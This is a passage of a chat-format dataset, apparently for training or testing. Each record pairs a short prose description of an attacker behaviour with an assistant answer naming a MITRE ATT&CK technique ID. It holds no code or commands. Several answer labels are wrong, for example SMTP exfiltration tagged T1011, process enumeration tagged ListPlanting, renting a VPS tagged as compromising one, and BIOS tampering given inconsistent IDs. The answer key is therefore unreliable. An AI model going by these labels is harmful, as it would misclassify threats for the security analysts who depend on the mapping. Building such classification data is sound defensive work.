                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors embed data within Bluetooth Low Energy packets, tunneling information across wireless links to avoid detection by network monitors."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries place a crafted .lnk file in the Start Menu’s Office shortcut directory to trigger execution when Office launches."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing Component Object Model registration, the attacker causes the operating system to load a malicious DLL during the handling of a specific Windows event, enabling privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involves hijacking the Control Panel binary to launch a credential‑dumping tool."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages a compromised code signing certificate to legitimize its payloads, installing it via certutil."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script searches for sandbox indicators like 'C:\\\\Windows\\\\Temp\\\\sandbox' and aborts if found."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors harvest the process table using the Windows API EnumProcesses to identify viable injection targets."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker creates a custom backdoor written in Go to maintain persistence on compromised Windows machines."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor extracts a Kerberos ticket-granting ticket (TGT) from a compromised host to authenticate as the legitimate user."
            },
            {
                "role": "assistant",
                "content": "T1134.001 - Access Token Manipulation: Token Impersonation/Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider with read access to application logs extracts embedded API tokens and replays them to gain unauthorized data access."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder cleared persistence by removing hidden launch agents on macOS and deleting the corresponding plist files."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a previously harvested IAM role, the attacker invoked the DeleteInstances operation to eliminate all EC2 instances in a specific region."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group creates a subdomain on a compromised domain and hosts malicious JavaScript payloads."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential dumping module collects cached domain credentials from the memory of a logged-in user session."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised virtual private server to host a malicious payload repository, allowing compromised hosts to download additional malware."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker rents a VPS, installs keyloggers, and uses the server as a collection point for harvested data."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker scans the environment for installed security tools by checking common executable paths."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script removes the permissions on the C:\\Windows\\System32\\winevt\\Logs directory, rendering logs inaccessible."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary gains root access to a VPS by brute-forcing the SSH password and then creates additional privileged accounts."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used mshta to bypass AppLocker by executing an HTA payload that launches a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing message includes a seemingly harmless .txt file that is actually a malicious script executed by the default text editor."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use PowerShell to spawn a new account with default credentials on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group purchases a domain that matches a known corporate brand to facilitate credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses the cloud console to snapshot a compromised virtual machine, preserving its configuration and data."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker steals an active RDP session by using stolen credentials to connect to the same remote desktop server, allowing them to assume the victim's session."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a stolen Azure AD application credential to enumerate secrets in Azure Key Vault using the REST API."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker utilized the Windows API function SetFileSecurity to grant \"Modify\" rights to a hidden backdoor file in the \"Program Files\" directory."
            },
            {
                "role": "assistant",
                "content": "T1222 - File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By compromising the authentication server, the threat actor disables MFA checks and logs in with stolen credentials alone."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exfiltrates data by embedding it within legitimate SMTP email traffic to an external mail server."
            },
            {
                "role": "assistant",
                "content": "T1011 - Exfiltration Over Other Network Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit chain includes a step where a Visual Basic script is executed to download additional modules from the internet."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries launch malicious commands by invoking the Windows Control Panel executable (control.exe) to execute arbitrary scripts."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors corrupt the firmware signing process of a hardware component, allowing unsigned malicious updates to be trusted."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set establishes an encrypted channel over SMB traffic, embedding symmetrically encrypted exfil data within routine file share operations."
            },
            {
                "role": "assistant",
                "content": "T1048.001 - Exfiltration Over Alternative Protocol: Exfiltration Over Symmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary enumerates SMB shares on the internal network and copies sensitive documents to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker reverts a hijacked Azure Virtual Machine to a clean state by applying a previously saved image, eliminating evidence of their activity."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor replaces a critical service DLL with a malicious version to achieve code execution."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group uses rootkits to hide kernel modules from security tools."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script utilizes the Invoke-Command PowerShell cmdlet to run code on multiple endpoints."
            },
            {
                "role": "assistant",
                "content": "T1021 - Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit the proc filesystem to collect user hashes by reading /proc/[pid]/status and environment variables."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the GCC compiler available on the system, the intruder compiles and runs malicious code, exploiting proxy execution via developer tools."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion adds a new Windows service that automatically runs a persistence script at logon."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers altered the firmware of the motherboard to inject a pre‑OS payload, achieving persistence even after system wipes."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compromised AWS credentials and launched a new EC2 instance to host ransomware payloads."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware writer inflates the executable size by embedding large, meaningless data blocks within the binary, employing Binary Padding to avoid heuristic scans."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary pulls configuration files from a compromised Ansible inventory to reveal host groups and connection credentials."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets the service startup type to \"Automatic\" for a newly created service that runs a keylogger."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abused the ODBC configuration tool to register a malicious driver, causing the system to execute a payload DLL whenever the driver is loaded."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary enumerates user account information via PowerShell’s Get-ChildItem Env:USERNAME."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor leveraged a compromised WordPress plugin to plant a PHP web shell, achieving persistent remote access to the host."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a malicious PasswordFilter.dll into C:\\Windows\\System32 and registers it, allowing it to intercept and capture clear‑text credentials each time a password is set or changed."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor adds a new local administrator account on the compromised Windows host to retain access after reboot."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised IoT device is repurposed to run a lightweight mining program, consuming its limited processing capabilities."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary utilizes an automated voice system that mimics a known vendor’s representative, persuading the victim to confirm invoice numbers and provide payment details."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is delivered via a crafted .hta file that is launched by mshta, allowing the adversary to bypass application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the at command line, the intruder sets up a daily task that downloads and executes additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware writes a rogue port monitor to the system's printer driver directory and updates the registry so it loads at startup."
            },
            {
                "role": "assistant",
                "content": "T1547.010 - Boot or Logon Autostart Execution: Port Monitors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is run by invoking PubPrn.exe, allowing the threat actor to execute arbitrary scripts in a system context."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exfiltrates data by making one-way HTTP requests to a malicious web service, sending information without awaiting a response."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a Golden Ticket technique, the adversary forges a high-privilege Kerberos ticket after extracting the KRBTGT account hash from the domain controller."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By requesting service tickets for high‑privilege accounts and dumping the encrypted ticket data, the attacker can perform offline cracking to acquire the service account's password."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group abuses a vulnerable serverless workflow in AWS Step Functions to orchestrate a chain of malicious actions across accounts."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised BIOS firmware is used to load a stealthy malware payload before any security software initializes."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries used WMI Event Subscriptions to persist their code by registering a permanent script that runs on system startup."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit the ptrace interface on Linux to perform process injection, allowing them to execute arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs PowerShell commands directly in memory without writing any scripts to disk to avoid file-based detection."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor uses a non‑standard base85 encoding to transmit compressed data over FTP."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit the public printer functionality (PubPrn) to execute arbitrary commands on a remote system by abusing the associated RPC calls."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware exfiltrates data by issuing a one-way POST to a remote REST endpoint, never establishing a persistent connection for inbound traffic."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group tampers with the BIOS to execute a hidden module during the pre‑OS phase, establishing persistence."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a Visual Basic script to modify the firewall rules to allow inbound traffic from C2."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker installs a rogue CA certificate on a Windows machine, allowing them to spoof HTTPS sites."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use VPN services to route malicious traffic through an encrypted connection."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor includes checks for debugger-specific registry keys and will not activate if they exist."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used a cloud‑based Remote Desktop Service after harvesting credentials, providing the attacker with external access to the target network."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker harvests email headers from phishing emails to collect the names of recipients employed at the victim firm."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
